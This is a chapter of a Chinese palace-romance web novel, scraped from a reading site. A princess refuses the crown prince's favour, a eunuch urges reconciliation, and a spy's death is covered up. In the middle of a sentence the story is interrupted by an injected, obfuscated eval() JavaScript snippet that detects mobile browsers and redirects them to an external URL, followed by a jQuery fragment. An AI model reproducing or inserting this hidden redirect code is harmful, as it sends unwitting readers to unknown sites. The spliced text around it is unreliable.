默认冷灰
24号文字
方正启体

10. 第 10 章

作者:莺许本书字数:K更新时间:
    话音甫落,少女便不假思索地道:“阿棠不敢叨扰皇兄。”


    魏珣道:“孤不曾瞧出,皇妹有何不敢。”


    萧棠顿了顿。


    男人的语气始终太过无波无澜,听不出他是带着微末的讽意,还是单纯的陈述。


    前一刻刚刚才坦白自己打听东宫之事,后一刻便这般谨小慎微,的确有几分欲拒还迎的可笑。


    可这句不敢,货真价实。


    东宫并不只是太子殿下的起居之处,更是国储所在。


    先不说她如今已至及笄,并非可不知时事、不众位女眷顾大防的懵懂孩童。便真是十年前,那时最受宠的长宁公主都不敢随便往东宫跑呢。


    身处天家,便是兄妹情深,也不能像寻常百姓那般亲密。


    更别提她与魏珣之间,毫无什么兄妹情谊可言。


    她既然想要抽身,就必须要遭早些跟东宫划清不该有的干系。


    萧棠轻吸了口气,低下头去,柔软的声调清晰地重复道:“阿棠不敢叨扰皇兄,亦不敢让贴身的侍女出入东宫,惹来非议,还请皇兄收回成命。”


    她能感觉到男人的目光静静地落在她脸上。


    久居上位的人天然就有不怒自威的气场,这般毫无波澜,却叫人的心忍不住高高悬起。


    屋外竹林被狂风吹得扑簌,耳边只剩下由远及近的簌簌声。


    再过了一会儿,内侍叩门,恭敬地唤着殿下。


    魏珣不曾应,内侍便不敢入内。


    屋室内仍只有他们二人。


    分明近在咫尺,分明男人的手还搂在她腰侧,却像是隔着一道无形的天堑。


    许她的贴身侍女能够自由出入东宫,也许只是太子殿下的随口一说,但放眼燕京,这已经算是给她莫大的殊荣。


    若是长宁公主得了这般恩宠,不知得何等兴高采烈,四处炫耀才肯罢休。


    不,不止是长宁公主,任何人能够受此照拂,定然都是对太子感激涕零,诚惶诚恐。


    可她拒绝得很干脆。


    萧棠想,这大概很有可能是太子殿下平生头一回施恩遭人婉拒。


    她其实很怕魏珣生气,可很显然,这一点小事还不值得男人动怒。


    男人的脸上并无愠色,或者说什么情绪都没有,只是启唇时能听出语调比先前冷淡:“倒是孤勉强你了。”


    萧棠不知如何接话,便干脆不开口了,低垂着眼,一副乖巧顺从的样子。


    原本才缓和下来的气氛一瞬重新凝滞起来。


    萧棠再也不敢看他,只是一直盯着地上大理石的纹路。


    直到内侍又唤了一声殿下,魏珣放开她,径自离开。


    脚步声远去,门却不曾合上。书房重地里不知道藏了多少秘密,魏珣默许她入内,可魏珣走后,宅邸里的仆从侍婢却万万不能放心她一个人在里面待着。


    冷风灌入,吹得萧棠手指一阵冰凉。


    侍女走到桌案边,贴心地拿来狐毛大氅披在她身上,又道:“姑娘,奴婢先送您回房歇息。”


    萧棠也自知不能再待在此处,低低应是,跟着她头也不回地离开了书房。


    连廊外一路飘雨,天上月华已被乌云遮掩,视线所及之处都似被天瀑刷洗过,黯淡模糊成一片。


    只有侍女提着的灯还发着光,勉强映出前方的路。


    侍女道:“吴公公说,雨下得大,姑娘还是等明日雨停后再回宫罢。”


    吴年公公是太子心腹,亦是东宫最有权柄的内侍,他的吩咐,其余人都当是半个太子的命令来办。


    拒绝的话到了唇边,想了想,萧棠又咽下,轻轻道:“替我向吴公公道声谢。”


    就算方才她与魏珣闹得有几分不愉快,魏珣的也不至于连她在这儿多待一夜都容不下。


    大雨不便行路,车夫稍有不慎便是人仰马翻,她还是不要给自己揽来祸事得好。


    回到寝房中,炭火皆已备好,暖融似深春。侍女为她取下大氅,挂在一旁龙门架上,无声退下。


    不过一会儿,门被叩响,来者是萧棠不曾想过的人:“吴年公公?”


    少女脸上不掩惊讶。魏珣前去尚书府,她还以为吴年会随之同去,没想到他还留在这儿。


    吴年作揖,主动解释道:“府中有些杂事,殿下让奴才留下来处置。”


    所谓杂事,萧棠当然不会自作多情以为与她有关。


    想来是刚刚那私狱中的人自杀,引出种种变故,需得吴年经手。


    可若吴年有这般要紧的事,怎么还有空来找她?


    不等她问,吴年又说:“姑娘手上伤口不愈,想来是太医院寻常的药膏没有效用,殿下便命奴才取了进贡的玉女花研磨成粉,据说对女子肌肤容颜都颇有效用。”


    萧棠轻蹙秀眉:“你们殿下的吩咐?”


    吴年颔首,忙不迭道:“姑娘的伤,殿下可都是看在眼里的。”


    萧棠却不大相信。吴年对她一直友善,从不曾说过半句刻薄的话,每回都捡着好听的说,如今也应该只是在说些善意的谎。


    她歉意地朝吴年一笑:“既是进贡之物,如此贵重,我实在不敢要。”


    “若对姑娘的手伤有效用,便算不得贵重。奴才知道姑娘谨慎,可这花已经完全磨成了粉,就算是坤宁宫的嬷嬷来了,也瞧不出这一盒药粉有什么不同。”


    吴年先说着体己话,又叹声道:“还恳请姑娘收下,别让奴才为难了。”


    好的坏的都让他哪一张嘴全说了,萧棠这下不收都不行。


    见她拿过药盒,吴年的脸上立即重新堆上了笑容,道:“今日雨重,殿下离了尚书府也不便再回宫,晚些还是会歇在此处,姑娘若刚刚还有什么话没来得及同殿下说,入了夜也有机会。”


    他说得含蓄,可萧棠怎么会听不明白其中的意思。


    这是在提醒她,虽然她刚刚惹恼了太子殿下,但也不是没有弥补的机会。


    入了夜,等魏珣回来,乖乖地讨他欢心,求他原谅,太子殿下大抵懒得与她计较了。


    至于讨男人欢心的手段……


    横竖不也就是那几样。


    “吴公公的好意,我心领了。”


    萧棠诚恳道:“只是我心惶恐,不知同殿下说什么,只想早早安寝,明日雨一停便离开此处。”


    吴年不曾想她这回这般木楞,哎哟了声,语重心长地劝道,“奴才不知姑娘怎的会与殿下起了龃龉,但姑娘是不知道,太子近日席不暇暖,就连今日见姑娘的时辰,都是从百忙之中抽出来的空闲。”


    萧棠不作声。


    “……过了今夜,殿下一日万机,后头还要离京几日。姑娘就是想见殿下,也难再见上。就算奴才能替潇湘殿捎口信,也比不上姑娘亲自同殿下说,您说是这个道理吧?”


    这么大段话,萧棠却只听见了半句:“他要离京?”


    这消息不为外人道,但吴年十分爽快地都告诉了她:“下月中旬,殿下要按惯例替陛下前往皇寺,耽搁上几日,前前后后亦要再准备几日,便拢共算是半月的功夫了。”


    他告诉萧棠,显然是想让萧棠知晓,两人这段时日能再见的机会已然不多。


    可萧棠只听进去了一件事——


    下月中旬,她生辰前后,魏珣不在燕京城中!


    而且皇寺僻静,不得为外人扰,许多消息都传不进去。


    那岂不是说,若她有意在魏珣离京那几日筹谋,便完全可以先斩后奏了。


    这天大的巧合砸得她有些晕头转向,可无论心头再如何惊涛骇浪,萧棠表面也丝毫不显,只说:“谢公公相告。”


    少女声音柔婉,可看样子,似乎并没有将他的规劝听进去。


    吴年心头暗叹一声,只得道:“姑娘好生歇息,奴才先行告退。”


    除开淳和公主这档子事,他的确还有正事要办。


    私狱从来不无缘无故审无罪之人。那死了的林少卿是太子党羽中的奸细,就是严刑拷打了他才知道,誉王与先前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715991|173709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那位回屹可汗有所勾连。


    而后前可汗醉酒后冒犯天子,惹来龙颜大怒,此事看似巧合,实际却是太子一手筹谋。


    太子殿下此举,除了跟誉王有勾结的异邦可汗,扶持了对大邺正统忠心耿耿的新人,还顺手救了淳和公主,可谓一箭三雕。


    事成之后,那林少卿没了用处,本就是该死的。他先一步含毒自杀,以求太子因此垂怜起妻儿。


    照拂孤儿寡母没什么不好办的,只是这人的尸首要怎的安排,吴年还需费些头脑。


    安置好此事后,夜色已经全然浓稠如墨。


    淳和公主当真如她所言,一点弥补之心都不曾有,早早熄灯安寝。


    过了子时,太子殿下才从尚书府回来。


    他直接去了书房,不曾过问萧棠,吴年自然也不会主动提,如常服侍在侧。


    魏珣一一看过送到桌案上的邸报,最后才将视线落在最底下的纸函上。


    那是才呈上来的,晏家人的全部信息。


    先前晏何修来东宫拜访,他知晓此少年才刚崭露头角,还未站稳脚跟,便只打算往后再看其造化。


    如今才正眼瞧了他的背景家世。


    却也只是一眼而已。


    男人很快便收回目光,不冷不热地朝吴年道:“市井小道,以后不必再呈。”


    吴年的脑袋低得快埋到地上去了:“奴才知错。”


    那上头除了晏何修的父母兄弟姊妹家世等等,还特地附了一段逸闻,说晏公子至今不曾娶妻,是因其为人凶神恶煞,家中曾为他安排过一位未婚妻,他却三言两语说哭了那姑娘,害得人夺门而出。


    自此后传出恶名,独身两年至今。


    太子殿下忽地叫他去查晏家人,吴年琢磨半晌了男人的心思,特地让人附上这么一段,令太子殿下放心。。


    结果看样子,他好像是弄巧成拙了。


    好在太子没有训斥他,揭过此事,吴年又道:“尸首已在护城河中,明日一早,便安排卫兵发现少卿失足坠河。”


    一具面目全非,却携带少卿官印的尸首,衙门说是谁就是谁,说怎么结案就怎么结案。


    誉王哪怕猜出几分,也忌惮东宫抖出他与外邦勾结的事,不敢有什么动作。


    此事就此即可完满了结。


    唯一一处意外,便是吴年也不曾料到,太子殿下会默许,甚至有意让淳和公主瞧见这处私狱。


    他将先前与萧棠的对话一一托出,想起少女难得的追问,着重道:“公主还特地细问了殿下日后行程。”


    魏珣看着邸报,也不知有没有在听他禀报。


    也不知淳和公主怎的忽然犯了倔,竟这点头也不肯低。吴年一想到此事,便只觉头大。


    没有计较她先前的错,反倒允许潇湘殿的侍女自由出入东宫。


    这样的厚待,连普通的东宫辅臣都不一定有,淳和公主却一口回绝。


    看她的反应不像是不惦念太子,反倒像是……


    太惦念太子殿下,以至于不满足只是侍女能去东宫找他。


    而是想要亲自去东宫找太子殿下。


    从前当真没有瞧出,淳和公主还有这般僭越的心思。


    吴年:“奴才看这雨恐怕要到晌午过后才停,殿下若在此用午膳,那……”


    不如他去把淳和公主请过来一起用膳。


    后半句不曾说出口,男人便轻飘飘瞥来一眼。


    吴年立即正色,低下头去,不敢再说话。


    魏珣很少发火,就算怒极也不曾生愠。


    如今这幅冷淡神情,已说明他对淳和公主的行径有些不悦了。


    若是从前,吴年别说想留萧棠一起用膳,最该做的就是赶紧命人把淳和公主打发回去。


    只是……


    吴年不着痕迹地瞥向书房后暗门的轮廓。


    这处私狱,还不曾有东宫外的人知晓。


    或者换句话说。


    知晓此处的人,都离不得东宫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)